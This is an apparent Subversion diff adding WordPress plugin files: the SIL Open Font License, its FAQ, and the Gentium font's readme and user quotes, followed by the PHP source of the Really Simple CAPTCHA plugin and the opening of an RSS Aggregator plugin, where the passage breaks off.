+(See http://scripts.sil.org/OFL for updates)
+
+
+1  ABOUT USING AND DISTRIBUTING FONTS LICENSED UNDER THE OFL
+
+1.1  Can I use the fonts in any publication, even embedded in the file?
+Yes. You may use them like most other fonts, but unlike some fonts you may include an embedded subset of the fonts in your document. Such use does not require you to include this license or other files (listed in OFL condition 2), nor does it require any type of acknowledgement within the publication. Some mention of the font name within the publication information (such as in a colophon) is usually appreciated. If you wish to include the complete font as a separate file, you should distribute the full font package, including all existing acknowledgements, and comply with the OFL conditions. Of course, referencing or embedding an OFL font in any document does not change the license of the document itself. The resulting document is not a derivative anymore than a compiled program is a derivative of a compiler. Similarly, creating a graphic using an OFL font does not make the resulting artwork subject to the OFL.
+
+1.2  Can I make web pages using these fonts?
+Yes! Go ahead! Using CSS (Cascading Style Sheets) is recommended.
+
+1.3  Can I make the fonts available to others from my web site?
+Yes, as long as you meet the conditions for use (include the necessary files, don't abuse the Author(s)' names, rename Modified Versions, do not sublicense and do not sell by itself).
+
+1.4  Can the fonts be included with free and open source software distributions (such as GNU/Linux and BSD distributions)?
+Yes! The OFL is compatible with most FLOSS (Free/Libre and Open Source Software) licenses. You can also repackage the fonts and the accompanying components in a .rpm or .deb package and include them in distro CD/DVDs and online repositories.
+
+1.5  I want to distribute the fonts with my program. Does this mean my program also has to be free and open source software?
+No. Only the portions based on the font software are required to be released under the OFL. The intent of the license is to allow aggregation or bundling also with software under restricted licensing.
+
+1.6  Can I include the fonts on a CD of freeware or commercial fonts?
+Yes, as long some other font or software is also on the disk, so the OFL font is not sold by itself.
+
+1.7  Can I sell a software package that includes these fonts?
+Yes, you can do this with both the Standard Version and a Modified Version. Examples of bundling made possible by the OFL would include: word processors, design and publishing applications, training and educational software, edutainment software, etc.
+                                                                                                                                                  
+1.8  Why won't the OFL let me sell the fonts alone?
+The intent is to keep people from making money by simply redistributing the fonts. The only people who ought to profit directly from the fonts should be the original authors, and those authors have kindly given up potential income to distribute their fonts under the OFL. Please honor and respect their contribution!
+
+1.9  I've come across a font released under the OFL. How can I easily get more information about the Standard Version? How can I know where it stands compared to the Standard Version or other Modified Versions?
+Consult the copyright statement in the license for how to contact the original authors. Consult the FONTLOG for information on if and how the font differs from the Standard Version, and get in touch with the various contributors via the information in the acknowledgment section. Please consider using the Standard Versions of the fonts whenever possible.
+
+1.10  What do you mean in condition 4? Can you provide examples of abusive promotion / endorsement / advertisement vs. normal acknowledgement?
+The intent is that the goodwill and reputation of the authors should not be used in a way that makes it sound like the original authors endorse or approve of a specific Modified Version or software bundle. For example, it would not be right to advertise a word processor by naming the authors in a listing of software features, or to promote a Modified Version on a web site by saying "designed by...". However, it would be appropriate to acknowledge the authors if your software package has a list of people who deserve thanks. We realize that this can seem to be a gray area, but the standard used to judge an acknowledgement is that if the acknowledgement benefits the authors it is allowed, but if it primarily benefits other parties, or could reflect poorly on the authors, then it is not.
+
+
+2  ABOUT MODIFYING OFL LICENSED FONTS
+
+2.1  Can I change the fonts? Are there any limitations to what things I can and cannot change?
+You are allowed to change anything, as long as such changes do not violate the terms of the license. In other words, you could not remove the copyright statement from the font, but you could add additional information into it that covers your contribution.
+
+2.2  I have a font that needs a few extra glyphs - can I take them from an OFL licensed font and copy them into mine?
+Yes, but if you distribute that font to others it must be under the OFL, and include the information mentioned in condition 2 of the license.
+
+2.3  Can I charge people for my additional work? In other words, if I add a bunch of special glyphs and/or OpenType/Graphite code, can I sell the enhanced font?
+Not by itself. Derivative fonts must be released under the OFL and cannot be sold by themselves. It is permitted, however, to include them in a larger software package (such as text editors, office suites or operating systems), even if the larger package is sold. In that case, you are strongly encouraged, but not required, to also make that derived font easily and freely available outside of the larger package.
+
+2.4  Can I pay someone to enhance the fonts for my use and distribution?
+Yes. This is a good way to fund the further development of the fonts. Keep in mind, however, that if the font is distributed to others it must be under the OFL. You won't be able to recover your investment by exclusively selling the font, but you will be making a valuable contribution to the community. Please remember how you have benefitted from the contributions of others.
+
+2.5  I need to make substantial revisions to the font to make it work with my program. It will be a lot of work, and a big investment, and I want to be sure that it can only be distributed with my program. Can I restrict its use?
+No. If you redistribute a Modified Version of the font it must be under the OFL. You may not restrict it in any way. This is intended to ensure that all released improvements to the fonts become available to everyone. But you will likely get an edge over competitors by being the first to distribute a bundle with the enhancements. Again, please remember how you have benefitted from the contributions of others.
+
+2.6  Do I have to make any derivative fonts (including source code, build scripts, documentation, etc.) publicly available?
+No, but please do share your improvements with others. You may find that you receive more than what you gave in return.
+
+2.7  Why can't I use the Reserved Font Name(s) in my derivative font names? I'd like people to know where the design came from.
+The best way to acknowledge the source of the design is to thank the original authors and any other contributors in the files that are distributed with your revised font (although no acknowledgement is required). The FONTLOG is a natural place to do this. Reserved Font Name(s) ensure that the only fonts that have the original names are the unmodified Standard Versions. This eliminates potential confusion and name conflicts. When choosing a name be creative and try to avoid names that sound like the original. Keep in mind that the copyright holder can allow a specific trusted partner to use Reserved Font Name(s) through a separate written agreement.
+
+2.8  What do you mean by "references stored in the Font Software"? Do I have to delete every reference to the Reserved Font Name(s) from inside every file I modify?
+No, not every reference. It would be fine, for example, to keep a text reference to the original fonts in your modified source code, as long as no one could be confused that your modified source is the original. But you cannot use the Reserved Font Names in any way to identify the font to the user (unless the Copyright Holder allows it through a separate agreement, see section 2.7). Users who install derivatives ("Modified Versions") on their systems should not see any of the original names ("Reserved Font Names") in their font menus, font properties dialogs, PostScript streams, documents that refer to a particular font name, etc. Again, this is to ensure that users are not confused and do not mistake a font for another and so expect features only another derivative or the Standard Version can actually offer. Ultimately, creating name conflicts will cause many problems for the users as well as for the designer of both the Standard and derivative versions, so please think ahead and find a good name for your own derivative. Font substitution systems like fontconfig, OpenOffice.org or Scribus will also get very confused if the name of the font they are configured to substitute to actually refers to another physical font on the user's hard drive. It will help everyone if Standard and derivative fonts can easily be distinguished from one another, and from other derivatives.  
+
+2.9  What is this FONTLOG thing exactly?
+It has three purposes: 1) to provide basic information on the font to users and other developers, 2) to document changes that have been made to the font or accompanying files, either by the original authors or others, and 3) to provide a place to acknowledge the authors and other contributors. Please use it! See below for details on how changes should be noted.
+
+2.10  Am I required to update the FONTLOG?
+No, but users, designers and other developers might get very frustrated at you if you don't! People need to know how derivative fonts differ from the originals, and how to take advantage of the changes, or build on them.
+
+
+3  ABOUT THE FONTLOG
+
+The FONTLOG can take a variety of formats, but should include these four sections:
+
+3.1  FONTLOG for <FontFamilyName>
+This file provides detailed information on the <FontFamilyName> font software. This information should be distributed along with the <FontFamilyName> fonts and any derivative works.
+
+3.2  Basic Font Information
+(Here is where you would describe the purpose and brief specifications for the font project, and where users can find more detailed documentation. It can also include references to how changes can be contributed back to the Standard Version. You may also wish to include a short guide to the design, or a reference to such a document.)
+
+3.3  ChangeLog
+(This should list both major and minor changes, most recent first. Here are some examples:)
+
+1 Feb 2005 (Jane Doe) <NewFontFamilyName> Version 1.1
+- Improved build script performance and verbosity
+- Extended the smart code documentation
+- Corrected minor typos in the documentation
+- Fixed position of combining inverted breve below (U+032F)
+- Added OpenType/Graphite smart code for Armenian
+- Added Armenian glyphs (U+0531 -> U+0587) 
+- Released as "<NewFontFamilyName>"
+
+1 Jan 2005 (Joe Smith) <FontFamilyName> Version 1.0
+- Initial release of font "<FontFamilyName>"
+
+3.4  Acknowledgements
+(Here is where contributors can be acknowledged. If you make modifications be sure to add your name (N), email (E), web-address (W) and description (D). This list is sorted by last name in alphabetical order.)
+
+N: Jane Doe
+E: jane@university.edu
+W: http://art.university.edu/projects/fonts
+D: Contributor - Armenian glyphs and code
+
+N: Fred Foobar
+E: fred@foobar.org
+W: http://foobar.org
+D: Contributor - misc Graphite fixes
+
+N: Pat Johnson
+E: pat@fontstudio.org
+W: http://pat.fontstudio.org
+D: Designer - Greek & Cyrillic glyphs based on Roman design
+
+N: Tom Parker
+E: tom@company.com
+W: http://www.company.com/tom/projects/fonts
+D: Engineer - original smart font code
+
+N: Joe Smith
+E: joe@fontstudio.org
+W: http://joe.fontstudio.org
+D: Designer - original Roman glyphs
+
+(Original authors can also include information here about their organization.)
+
+
+4  ABOUT MAKING CONTRIBUTIONS
+
+4.1  Why should I contribute my changes back to the original authors?
+It would benefit many people if you contributed back to what you've received. Providing your contributions and improvements to the fonts and other components (data files, source code, build scripts, documentation, etc.) could be a tremendous help and would encourage others to contribute as well and 'give back', which means you will have an opportunity to benefit from other people's contributions as well. Sometimes maintaining your own separate version takes more effort than merging back with the original. Be aware that any contributions, however, must be either your own original creation or work that you own, and you may be asked to affirm that when you contribute.
+
+4.2  I've made some very nice improvements to the font, will you consider adopting them and putting them into future Standard Versions?
+Most authors would be very happy to receive such contributions. Keep in mind that it is unlikely that they would want to incorporate major changes that would require additional work on their end. Any contributions would likely need to be made for all the fonts in a family and match the overall design and style. Authors are encouraged to include a guide to the design with the fonts. It would also help to have contributions submitted as patches or clearly marked changes (the use of a centralized or distributed source revision control system like subversion or arch is a good idea). Examples of useful contributions are bug fixes, additional glyphs, stylistic alternates (and the smart font code to access them).
+
+4.3  How can I financially support the development of OFL fonts?
+It is likely that most authors of OFL fonts would accept financial contributions - contact them for instructions on how to do this. Such contributions would support future development. You can also pay for others to enhance the fonts and contribute the results back to the original authors for inclusion in the Standard Versions.
+
+
+5  ABOUT THE LICENSE
+
+5.1  I see that this is version 1.0 of the license. Will there be later changes?
+We hope that version 1.0 will meet most needs, but are open to future improvements. Any revisions would be for future font releases, and previously existing licenses would remain in effect. No retroactive changes are possible, although the Copyright Holder can re-release the font under a revised OFL. All versions will be available on our web site: http://scripts.sil.org/OFL.
+
+5.2  Can I use the SIL Open Font License for my own fonts?
+Yes! We heartily encourage anyone to use the OFL to distribute their own original fonts. It is a carefully constructed license that allows great freedom with some protection for the original authors and clear rules for other contributors. Some additional information is included at the end of this FAQ.
+
+5.3  Does this license restrict the rights of the Copyright Holder?
+No. The Copyright Holder still retains all rights to their creation; they are only releasing a portion of it for use in a specific way. For example, the Copyright Holder may choose to release a 'basic' version of their font under the OFL, but sell a restricted 'enhanced' version. Only the Copyright Holder can do this.
+
+5.4 Is the OFL a contract or a license?
+The OFL is a license and not a contract and so does not require you to sign it to have legal validity. By using, modifying and redistributing components under the OFL you indicate that you accept the license.
+
+
+6  ABOUT SIL INTERNATIONAL
+
+6.1  Who is SIL International and what does it do?
+SIL International is a worldwide faith-based education and development organization (NGO) that studies, documents, and assists in developing the world's lesser-known languages through literacy, linguistics, translation, and other academic disciplines. SIL makes its services available to all without regard to religious belief, political ideology, gender, race, or ethnic background. SIL's members and volunteers share a Christian commitment.
+
+6.2  What does this have to do with font licensing?
+The ability to read, write, type and publish in one's own language is one of the most critical needs for millions of people around the world. This requires fonts that are widely available and support lesser-known languages. SIL develops - and encourages others to develop - a complete stack of writing systems implementation components available under open licenses. This open stack includes input methods, smart fonts, smart rendering libraries and smart applications. There has been a need for a common open license that is specifically applicable to fonts and related software (a crucial component of this stack) so SIL developed the SIL Open Font License.
+
+6.3  How can I contact SIL?
+Our main web site is: http://www.sil.org/
+Our site about complex scripts is: http://scripts.sil.org/
+Information about this license (including contact email information) is at: http://scripts.sil.org/OFL
+
+
+7  ABOUT USING THE OFL FOR YOUR ORIGINAL FONTS
+
+If you want to release your fonts under the OFL, you only need to do the following:
+
+7.1  Put your copyright and reserved names information in the beginning of the main OFL file.
+7.2  Put your copyright and the OFL references in your various font files (such as in TrueType name, description and license fields) and in your other components (build scripts, glyph databases, documentation, keyboard, samples, etc).
+7.3  Write an initial FONTLOG for your font and include it in the release package.
+7.4  Include the OFL in your release package.
+7.5  We also highly recommend you include the relevant practical documentation on the license by putting the OFL-FAQ in your package.
+
+
+That's all. If you have any more questions please get in touch with us.
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/OFL.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/OFL.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/OFL.txt	(revision 44)
@@ -0,0 +1,99 @@
+This Font Software is Copyright (c) 2003-2005, SIL International (http://scripts.sil.org/).
+All Rights Reserved.
+
+"Gentium" is a Reserved Font Name for this Font Software.
+"SIL" is a Reserved Font Name for this Font Software.
+
+This Font Software is licensed under the SIL Open Font License, Version 1.0.
+No modification of the license is permitted, only verbatim copy is allowed.
+This license is copied below, and is also available with a FAQ at:
+http://scripts.sil.org/OFL
+
+
+-----------------------------------------------------------
+SIL OPEN FONT LICENSE Version 1.0 - 22 November 2005
+-----------------------------------------------------------
+
+PREAMBLE
+The goals of the Open Font License (OFL) are to stimulate worldwide
+development of cooperative font projects, to support the font creation
+efforts of academic and linguistic communities, and to provide an open
+framework in which fonts may be shared and improved in partnership with
+others.
+
+The OFL allows the licensed fonts to be used, studied, modified and
+redistributed freely as long as they are not sold by themselves. The
+fonts, including any derivative works, can be bundled, embedded, 
+redistributed and sold with any software provided that the font
+names of derivative works are changed. The fonts and derivatives,
+however, cannot be released under any other type of license.
+
+DEFINITIONS
+"Font Software" refers to any and all of the following:
+	- font files
+	- data files
+	- source code
+	- build scripts
+	- documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by
+users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software
+components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by
+adding to, deleting, or substituting -- in part or in whole --
+any of the components of the Standard Version, by changing formats
+or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical
+writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of the Font Software, to use, study, copy, merge, embed, modify,
+redistribute, and sell modified and unmodified copies of the Font
+Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components,
+in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled,
+redistributed and sold with any software, provided that each copy
+contains the above copyright notice and this license. These can be
+included either as stand-alone text files, human-readable headers or
+in the appropriate machine-readable metadata fields within text or
+binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font
+Name(s), in part or in whole, unless explicit written permission is
+granted by the Copyright Holder. This restriction applies to all 
+references stored in the Font Software, such as the font menu name and
+other font description fields, which are used to differentiate the
+font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font
+Software shall not be used to promote, endorse or advertise any
+Modified Version, except to acknowledge the contribution(s) of the
+Copyright Holder and the Author(s) or with their explicit written
+permission.
+
+5) The Font Software, modified or unmodified, in part or in whole,
+must be distributed using this license, and may not be distributed
+under any other license.
+
+TERMINATION
+This license becomes null and void if any of the above conditions are
+not met.
+
+DISCLAIMER
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
+OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
+DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
+OTHER DEALINGS IN THE FONT SOFTWARE.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/QUOTES.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/QUOTES.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/QUOTES.txt	(revision 44)
@@ -0,0 +1,76 @@
+QUOTES
+Gentium Release 1.02
+28 November 2005
+========================
+
+
+Read some of the comments sent to us by various grateful Gentium users:
+
+
+'Purpose: to build a free multilingual font to bring better typography to
+thousands of languages around the globe. I can think of no higher calling.'
+
+'...an interesting blend of economical use of space, a serious tone of voice
+and a modern informal dress code.'
+
+'Thank you for this fantastic font set -- fantastic both in its purpose and
+in its appearance and usability!'
+
+'Finally I can include Greek characters in my English papers without looking
+typographically schizophrenic!'
+
+'Thank you so much for sharing this amazing work. I do love the vision you
+have for "written word empowering". This is ethical science at its best.'
+
+'Our language restoration project thanks you.'
+
+'distinctive, elegant and readable'
+
+'a very warm look'
+
+'great consistency and legibility'
+
+'lotion for the eyes'
+
+'Your typeface Gentium is a "friendly" font to me. It's easy to read and its
+lines and visual connections flow gently.'
+
+'I needed a nice serif font with haceks and other diacriticals... and was
+very happy to find your Gentium. Thank you for making this available to us
+poorer academic perfectionists!'
+
+'Your font is definitely the most complete and good-looking I've found for
+my uses in Classical Greek.'
+
+'...the various letters in the Extended-Latin and IPA ranges look "native"
+to the font.'
+
+'...diacritic Nirvana...'
+
+'Thank you very much for this excellent font. It is the most readable I have
+ever seen.'
+
+'Officina Gentium: The workshop of the world.'
+
+'Commercial quality for free! That's the best free font that I see.'
+
+'May I congratulate you on what seems to be an outstanding effort matched
+only by your generosity.'
+
+'I will be using this font regularly and will be recommending it strongly to
+others. This is a very beautiful typeface. What you have done is a most
+generous gift to the world.'
+
+'Many thanks. I have an esthetic dislike of "Times" fonts and a scholar's
+budget. Now I have Gentium and I'm pleased as punch.'
+
+'I appreciate your project, that of making a font suitable for many
+languages, including smaller ones.'
+
+'I am not sure where in the world I will end up, so I need something all
+inclusive. Thanks so much!'
+
+'Thanks for such a beautiful and mind-bogglingly useful typeface!'
+
+...
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/README.txt	(revision 44)
@@ -0,0 +1,96 @@
+README - WINDOWS
+Gentium Release 1.02
+28 November 2005
+========================
+Thank you for your interest in the Gentium fonts.
+We hope you find them useful!
+Gentium ("belonging to the nations" in Latin) is a Unicode typeface family
+designed to enable the many diverse ethnic groups around the world who use
+the Latin script to produce readable, high-quality publications. It supports
+a wide range of Latin-based alphabets and includes glyphs that correspond to
+all the Latin ranges of Unicode.
+The design is intended to be highly readable, reasonably compact, and
+visually attractive. The additional 'extended' Latin letters are designed to
+naturally harmonize with the traditional 26 ones. Diacritics are treated
+with careful thought and attention to their use. Gentium also supports both
+ancient and modern Greek, including a number of alternate forms. It has won
+a "Certificate of Excellence in Typeface Design" in two major international
+typeface design competitions: bukva:raz! (2001) and TDC2003 (2003).
+Gentium provides glyphs for a wide range of Latin and Greek characters.
+It currently supports the following ranges of Unicode 3.0 (completely unless
+noted):
+Range           Description
+---------------------------
+U+0020-U+007F 	Basic Latin
+U+00A0-U+00FF 	Latin-1 Supplement
+U+0100-U+017F 	Latin Extended-A
+U+0180-U+021F 	Latin Extended-B
+U+0222-U+0233 	Latin Extended-B (continued)
+U+0250-U+02AD 	IPA Extensions
+U+02B0-U+02FF 	Spacing Modifier Letters
+U+0300-U+036F 	Combining Diacritical Marks
+U+0370-U+03D5 	Greek (not including archaic or Coptic)
+U+1E00-U+1EFF 	Latin Extended Additional
+U+1F00-U+1FFF 	Greek Extended
+U+2000-U+203A 	General Punctuation (partial)
+U+2070-U+209F 	Superscripts and Subscripts
+U+20A0-U+20CF 	Currency Symbols (partial)
+U+2100-U+214F 	Letterlike Symbols (only a couple)
+Gentium Regular also includes some Cyrillic glyphs, but they are only early
+drafts. A future version will include a completely revised set, and will
+expand the support for Latin, Greek and Cyrillic to cover Unicode 4.1. It
+will also include support for OpenType, Graphite and AAT smart font
+technologies.
+Gentium is released under the SIL Open Font License.
+Gentium is a trademark of SIL International.
+	
+See the OFL and OFL-FAQ for details of the SIL Open Font License.
+See the FONTLOG for information on this and previous releases.
+See the QUOTES file to read the feedback received from Gentium users.
+See the GENTIUM-FAQ file for frequently asked questions and their answers
+	(such as why there are two families of fonts included).
+TIPS
+====
+We cannot afford to offer free technical support. The font has, however, 
+been through some testing on various platforms to be sure it works in most
+situations. In particular, it has been tested and shown to work on Windows
+2000 and Windows XP.
+If you do find a problem, please do report it to <gentium AT sil DOT org>.
+We can't guarantee any direct response, but will try to fix reported bugs in
+future versions. Make sure you read through the Gentium FAQ.
+Many problems can be solved, or at least explained, through an understanding
+of the encoding and use of the fonts. Here are some basic hints:
+Encoding: 
+The fonts are encoded according to Unicode, so your application must support
+Unicode text in order to access letters other than the standard alphabet.
+Most Windows applications provide basic Unicode support. You will, however,
+need some way of entering Unicode text into your document.
+Keyboarding:
+Gentium does not include any keyboarding helps or utilities. It uses the
+built-in keyboards of the operating system. You will need to install the
+appropriate keyboard and input method for the characters of the language you
+wish to use. If you want to enter characters that are not supported by any
+system keyboard, the Keyman program (www.tavultesoft.com) can be helpful.
+Another method of entering some symbols is provided by a few applications
+such as Adobe InDesign. They can display a glyph palette that shows all the
+glyphs (symbols) in a font and allow you to enter them by clicking on the
+glyph you want.
+Rendering:
+Gentium also currently lacks any special font programming that can
+substitute one glyph for another or position glyphs in a 'smart' way, such
+as in OpenType, Apple Advanced Typography or SIL's Graphite. For example,
+although Gentium includes an 'ffl' ligature, there are no special routines
+in the font that will automatically substitute 'f'+'f'+'l' with 'ffl', but
+an individual application might provide that feature.
+INSTALLATION AND CONFIGURATION
+==============================
+In Windows XP, open the Fonts control panel (Start, Control Panel,
+Appearance and Themes, then look in the upper left). The drag the font
+files (GenR102, GenI102, GenAR102, GenAI102) into the window - or choose
+File, Install New Font..., and navigate to the files.
+CONTACT
+========
+For more information please visit the Gentium page on SIL International's
+Computers and Writing systems website:
+http://scripts.sil.org/gentium
+Or send an email to <gentium AT sil DOT org>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/really-simple-captcha.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/really-simple-captcha.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/really-simple-captcha.php	(revision 44)
@@ -0,0 +1,146 @@
+<?php
+/*
+Plugin Name: Really Simple CAPTCHA
+Plugin URI: http://ideasilo.wordpress.com/2009/03/14/really-simple-captcha/
+Description: Really Simple CAPTCHA is a CAPTCHA module intended to be called from other plugins. It is originally created for my Contact Form 7 plugin.
+Author: Takayuki Miyoshi
+Version: 1.0
+Author URI: http://ideasilo.wordpress.com/
+*/
+
+/*  Copyright 2007-2009 Takayuki Miyoshi (email: takayukister at gmail.com)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+class ReallySimpleCaptcha {
+
+	function ReallySimpleCaptcha() {
+
+        /* Characters you can use in an image */
+		$this->chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
+
+        /* Length of a word in an image */
+		$this->char_length = 4;
+
+        /* Array of fonts. Randomly picked up per character */
+		$this->fonts = array(
+			dirname(__FILE__) . '/gentium/GenAI102.TTF',
+			dirname(__FILE__) . '/gentium/GenAR102.TTF',
+			dirname(__FILE__) . '/gentium/GenI102.TTF',
+			dirname(__FILE__) . '/gentium/GenR102.TTF');
+
+        /* Directory CAPTCHA image and corresponding code kept temporary */
+		$this->tmp_dir = dirname(__FILE__) . '/tmp/';
+
+        /* Array of CAPTCHA image size. Width and height */
+		$this->img_size = array(72, 24);
+
+        /* Background color of CAPTCHA image. RGB color 0-255 */
+		$this->bg = array(255, 255, 255);
+
+        /* Foreground (character) color of CAPTCHA image. RGB color 0-255 */
+		$this->fg = array(0, 0, 0);
+
+        /* Coordinates for a text in an image. I don't know the meaning. Just adjust. */
+		$this->base = array(6, 18);
+
+        /* Font size */
+		$this->font_size = 14;
+
+        /* Width of a character */
+		$this->font_char_width = 15;
+
+        /* Image type. 'png', 'gif' or 'jpeg' */
+		$this->img_type = 'png';
+
+        /* Mode of temporary files */
+        $this->file_mode = 0755;
+	}
+
+    /* Generate and return random word with $chars characters x $char_length length */
+	function generate_random_word() {
+		$word = '';
+		for ($i = 0; $i < $this->char_length; $i++) {
+			$pos = mt_rand(0, strlen($this->chars) - 1);
+			$char = $this->chars[$pos];
+			$word .= $char;
+		}
+		return $word;
+	}
+
+    /* Generate CAPTCHA code and corresponding code and save them into $tmp_dir directory.
+        $prefix is file prefix for both files. $captcha is a random word usually generated by generate_random_word()
+        This function returns the filename of the CAPTCHA image temporary file */
+	function generate_image($prefix, $word) {
+		$filename = null;
+		if ($im = imagecreatetruecolor($this->img_size[0], $this->img_size[1])) {
+			$bg = imagecolorallocate($im, $this->bg[0], $this->bg[1], $this->bg[2]);
+			$fg = imagecolorallocate($im, $this->fg[0], $this->fg[1], $this->fg[2]);
+			imagefill($im, 0, 0, $bg);
+			$x = $this->base[0] + mt_rand(-2, 2);
+			for ($i = 0; $i < strlen($word); $i++) {
+				$font = $this->fonts[array_rand($this->fonts)];
+				imagettftext($im, $this->font_size, mt_rand(-2, 2), $x, $this->base[1] + mt_rand(-2, 2), $fg, $font, $word[$i]);
+				$x += $this->font_char_width;
+			}
+			switch ($this->img_type) {
+				case 'jpeg':
+					$filename = $prefix . '.jpeg';
+					imagejpeg($im, $this->tmp_dir . $filename);
+					break;
+				case 'gif':
+					$filename = $prefix . '.gif';
+					imagegif($im, $this->tmp_dir . $filename);
+					break;
+				case 'png':
+				default:
+					$filename = $prefix . '.png';
+					imagepng($im, $this->tmp_dir . $filename);
+			}
+			imagedestroy($im);
+            @chmod($this->tmp_dir . $filename, $this->file_mode);
+		}
+		if ($fh = fopen($this->tmp_dir . $prefix . '.php', 'w')) {
+            @chmod($this->tmp_dir . $prefix . '.php', $this->file_mode);
+			fwrite($fh, '<?php $captcha = "' . $word . '"; ?>');
+			fclose($fh);
+		}
+		return $filename;
+	}
+
+    /* Check a $response against the code kept in the temporary file with $prefix
+        Return true if the two match, otherwise return false. */
+	function check($prefix, $response) {
+		if (is_readable($this->tmp_dir . $prefix . '.php')) {
+			include($this->tmp_dir . $prefix . '.php');
+			if (0 == strcasecmp($response, $captcha))
+				return true;
+		}
+		return false;
+	}
+
+    /* Remove temporary files with $prefix */
+	function remove($prefix) {
+		$suffixes = array('.jpeg', '.gif', '.png', '.php');
+		foreach ($suffixes as $suffix) {
+			$file = $this->tmp_dir . $prefix . $suffix;
+			if (is_file($file))
+				unlink($file);
+		}
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/rss-aggregator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/rss-aggregator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/rss-aggregator.php	(revision 44)
@@ -0,0 +1,217 @@
+<?php /*
+Plugin Name:  RSS Aggregator
+Plugin URI:   http://www.anthonyshapley.co.uk/tools/wordpress-rss-aggregator/
+Description:  Outputs RSS Feeds into Posts
+Version:      0.0.2
+Author:       Anthony Shapley
+Author URI:   http://www.anthonyshapley.co.uk
+
+Copyright (C) 2008, Anthony Shapley
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+Neither the name of Anthony Shapley nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.*/
+
+// Options
+
+$options = array();
+$options['feeds'] = "http://feeds.feedburner.com/AnthonyShapleyAUkSeo";
+$options['categories'] = "Aggregated Content";
+$options['linkback'] = true;
+$options['nofollow'] = true;
+$options['seconds'] = true;
+add_option("shapley_rss_aggregator",$option);
+
+if ( ! class_exists( 'shapley_aggregator' ) ) {
+
+	class shapley_aggregator 
+	{
+		function add_config_page()
+		{
+			global $wpdb;
+			if ( function_exists('add_submenu_page') )
+			{
+				add_options_page('Shapley RSS Aggregator', 'Aggregator', 10, basename(__FILE__),array('shapley_aggregator','config_page'));
+			}
+		}
+		
+		function config_page()
+		{
